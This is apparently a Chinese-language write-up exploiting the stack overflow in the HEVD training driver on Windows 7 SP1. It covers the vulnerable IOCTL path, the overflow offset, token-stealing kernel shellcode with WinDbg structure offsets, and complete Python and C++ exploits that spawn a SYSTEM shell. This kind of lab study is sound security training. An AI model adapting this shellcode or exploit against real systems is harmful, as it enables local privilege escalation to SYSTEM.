HEVD StackOverFlow [win7sp1]

HEVD 系列第一类漏洞StackOverFlow

漏洞分析#

漏洞点#

img
可以看到漏洞原因在于从UserBuffer拷贝到KernelBuffer时,由于size使用了UserBuffer的大小,因此造成了栈溢出漏洞

触发路径#

IDA逆向后可以看到触发路径为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
int __stdcall IrpDeviceIoCtlHandler(_DEVICE_OBJECT *DeviceObject, _IRP *Irp)
{
int v2; // ebx
_IO_STACK_LOCATION *v3; // eax
_IO_STACK_LOCATION *v4; // ebx
void (*v5)(ULONG, ULONG, PCSTR, ...); // esi
int v6; // eax
const char *v8; // [esp-4h] [ebp-10h]

v2 = -1073741637;
v3 = Irp->Tail.Overlay.CurrentStackLocation;
if ( v3 )
{
v4 = Irp->Tail.Overlay.CurrentStackLocation;
switch ( v3->Parameters.Read.ByteOffset.LowPart )
{
case 0x222003u:
v5 = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n");
v6 = BufferOverflowStackIoctlHandler(Irp, v4);
v8 = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******\n";
goto LABEL_4;
....
}
}
}

int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
int v2; // ecx
_NAMED_PIPE_CREATE_PARAMETERS *v3; // edx

v2 = -1073741823;
v3 = IrpSp->Parameters.CreatePipe.Parameters;
if ( v3 )
v2 = TriggerBufferOverflowStack(v3, IrpSp->Parameters.Create.Options);
return v2;
}


int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size)
{
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]

memset(KernelBuffer, 0, 0x800u);
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 1u);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelBuffer);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 2048);
_DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stack\n");
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}

也就是说读入参数为0x222003时,就会走栈溢出漏洞的路径

漏洞利用#

payload#

从函数中可以看到KernelBuffer位于[ebp - 0x81C]处,也就是需要覆盖0x81c + 4 = 0x820个字节到ebp,最后修改ret地址为UserBuffer地址,执行用户态的shellcode,即可实现提权
payload = 'a'*0x820 + UserBufferAddress

shellcode#

HEVD官方使用的shellcode如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
VOID TokenStealingPayloadWin7() {
// Importance of Kernel Recovery
__asm {
pushad ; Save registers state

; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]

mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax ; Copy current process _EPROCESS structure

mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

popad ; Restore registers state

; Kernel Recovery Stub
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; Fix the stack
pop ebp ; Restore saved EBP
ret 8 ; Return cleanly
}
}

作用是:找到System进程的token,与exp进程的token进行替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kd> r fs
fs=00000030
kd> dd fs:[0x124]
0030:00000124 83f8a380 00000000 83f8a380 00000100
0030:00000134 9e0d0106 0001003f 00000000 00000000
0030:00000144 00000000 00000000 ffff0ff0 00000400
0030:00000154 00000000 00000000 00000000 00000000
0030:00000164 00000000 00000000 00000000 00000000
0030:00000174 00000000 00000000 00000000 00000000
0030:00000184 00000000 00000000 00000000 00000000
0030:00000194 00000000 00000000 83f19ae7 83e5cf64
kd> !pcr
KPCR for Processor 0 at 83f80c00:
Major 1 Minor 1
NtTib.ExceptionList: 83f7d0ac
NtTib.StackBase: 00000000
NtTib.StackLimit: 00000000
NtTib.SubSystemTib: 801e4000
NtTib.Version: 003b53a6
NtTib.UserPointer: 00000001
NtTib.SelfTib: 00000000

SelfPcr: 83f80c00
Prcb: 83f80d20
Irql: 0000001f
IRR: 00000000
IDR: ffffffff
InterruptMode: 00000000
IDT: 80b95400
GDT: 80b95000
TSS: 801e4000

CurrentThread: 83f8a380
NextThread: 00000000
IdleThread: 83f8a380

DpcQueue:

可以看到fs:[124]存放的是CurrentThread的地址,结构为KTHREAD

nt!_KPCR结构
KPCR表示内核进程控制区域。它包含了每个CPU的信息,被内核和HAL所共享。系统有几个CPU,就有几个KPCR。
当前CPU的KPCR总是可以通过fs:[0]在x86系统上访问,x64系统上则通过gs:[0]。通用的内核函数诸如PsGetCurrentProcess()和KeGetCurrentThread()会利用FS/GS相对访问来从KPCR中获取信息。
Prcb字段包含了一个内嵌的KPRCB结构体,用于表示内核进程控制块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
kd> dt _KTHREAD 83f8a380
ntdll!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : 0x000012e7`3b6f4958
+0x018 HighCycleTime : 0x12e7
+0x020 QuantumTarget : 0x00000008`f36dc08d
+0x028 InitialStack : 0x83f7ded0 Void
+0x02c StackLimit : 0x83f7b000 Void
+0x030 KernelStack : 0x83f7dc1c Void
+0x034 ThreadLock : 0
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : 0x1 ''
+0x03a Alerted : [2] ""
+0x03c KernelStackResident : 0y1
+0x03c ReadyTransition : 0y0
+0x03c ProcessReadyQueue : 0y0
+0x03c WaitNext : 0y0
+0x03c SystemAffinityActive : 0y0
+0x03c Alertable : 0y0
+0x03c GdiFlushActive : 0y0
+0x03c UserStackWalkActive : 0y0
+0x03c ApcInterruptRequest : 0y0
+0x03c ForceDeferSchedule : 0y0
+0x03c QuantumEndMigrate : 0y0
+0x03c UmsDirectedSwitchEnable : 0y0
+0x03c TimerActive : 0y0
+0x03c SystemThread : 0y1
+0x03c Reserved : 0y000000000000000000 (0)
+0x03c MiscFlags : 0n8193
+0x040 ApcState : _KAPC_STATE
kd> dt _KAPC_STATE
ntdll!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x010 Process : Ptr32 _KPROCESS
+0x014 KernelApcInProgress : UChar
+0x015 KernelApcPending : UChar
+0x016 UserApcPending : UChar

[KTHREAD + 0x50]是KTHREAD.ApcState.Process,结构为KPROCESS,KPROCESS是EPROCESS结构的第一个字段,因此可以索引到EPROCESS结构

1
2
3
4
5
6
7
8
9
kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY

EPROCESS的0xb8处是进程双向链表,遍历进程双向链表,可以找到System进程,System进程的EPRCESS的0xf8位置是token位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos 0, 3 Bits
+0x000 Value : Uint4B

token的低三位是引用计数,去除引用计数后的地址是实际token地址,我们直接看下System的token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
kd> !process 4 0 
Searching for Process with Cid == 4
PROCESS 85801a20 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 89201b60 HandleCount: 534.
Image: System

kd> dt _EX_FAST_REF 85801a20+f8
ntdll!_EX_FAST_REF
+0x000 Object : 0x892012c7 Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x892012c7
kd> !token 0x892012c7 & 0xfffffff8
_TOKEN 0xffffffff892012c0
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
07 0x000000007 SeTcbPrivilege Attributes - Enabled Default
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled Default
21 0x000000015 SeAuditPrivilege Attributes - Enabled Default
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes -
32 0x000000020 SeRelabelPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default

python2.7 exp#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# coding=UTF-8
import sys
import struct
from ctypes import *
from subprocess import *
kernel32 = windll.kernel32

def open_driver():
hevd = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000, # 1100 0000 读取方式 READ / Write
0, # 共享模式 No Sharing
None, # 安全属性 No Security, NULL
0x3, # 0011 只读和隐藏属性
0,
None) # NULL
if(hevd == -1 or not hevd ):
print("[-] Failed to open hevd")
exit(-1)
else:
print("[+] Sucessful open hevd")
return hevd

def pwn(hevd):
shellcode = bytearray(
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
"\x5d"
"\xc2\x08\x00")

print("[*] Allocating shellcode character array...")
userbuffer_addr = (c_char * len(shellcode)).from_buffer(shellcode)
ptr = addressof(userbuffer_addr)

print("[*] Marking shellcode RWX...")

result = kernel32.VirtualProtect(
userbuffer_addr,
c_int(len(shellcode)),
c_int(0x40),
byref(c_ulong())
)

if result != 0:
print("[+] Successfully marked shellcode RWX.")
else:
print("[-] Failed to mark shellcode RWX.")
exit(-1)

payload = struct.pack("<L",ptr)

buf = "A" * 2080
buf += payload
buf_length = len(buf)

print("[*] Sending payload to driver...")
result = kernel32.DeviceIoControl(
hevd,
0x222003,
buf,
buf_length,
None,
0,
byref(c_ulong()),
None
)

if result != 0:
print("[+] Payload sent.")
else:
print("[-] Unable to send payload to driver.")
exit(-1)

try:
print("[*] Spawning cmd shell with SYSTEM privs...")
Popen(
'start cmd',
shell=True
)
except:
print("[-] Failed to spawn cmd shell.")
exit(-1)


if __name__ == "__main__":
hevd = open_driver()
pwn(hevd)

c++ exp(vs2017)#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include<stdio.h>
#include<Windows.h>

int main()
{
HANDLE hevd = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);

if (hevd == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Failed to open hevd\n");
exit(-1);
}
else {
wprintf(L"[+] Success to open hevd\n");
}

LPVOID Buffer = VirtualAlloc(NULL,
4096,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

char shellcode[] =
"\x60" // pushad
"\x31\xc0" // xor eax, eax
"\x64\x8b\x80\x24\x01\x00\x00" // mov eax, [fs:eax + 0x124]
"\x8b\x40\x50" // mov eax, [eax + 0x50]
"\x89\xc1" // mov ecx, eax
"\xba\x04\x00\x00\x00" // mov edx, 0x4
"\x8b\x80\xb8\x00\x00\x00" // mov eax, [eax + 0xb8]
"\x2d\xb8\x00\x00\x00" // sub eax, 0xb8
"\x39\x90\xb4\x00\x00\x00" // cmp[eax + 0xb4], edx
"\x75\xed" // jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" // mov edx, [eax + 0xf8]
"\x89\x91\xf8\x00\x00\x00" // mov[ecx + 0xf8], edx
"\x61" // popad
"\x5d"
"\xc2\x08\x00";

RtlCopyMemory(Buffer, shellcode, 61);
DWORD *ret = (DWORD*)((int)Buffer + 2080);
*ret = (DWORD)Buffer;
DWORD byteret;

bool result = DeviceIoControl(hevd,
0x222003,
Buffer,
2080 + 4,
NULL,
0,
&byteret,
NULL);

if (result == 0) {
wprintf(L"[-] Failed send payload\n");
exit(-1);
}
else {
wprintf(L"[+] Success send payload\n");
}

system("cmd.exe");
return 0;
}

参考资料#

评论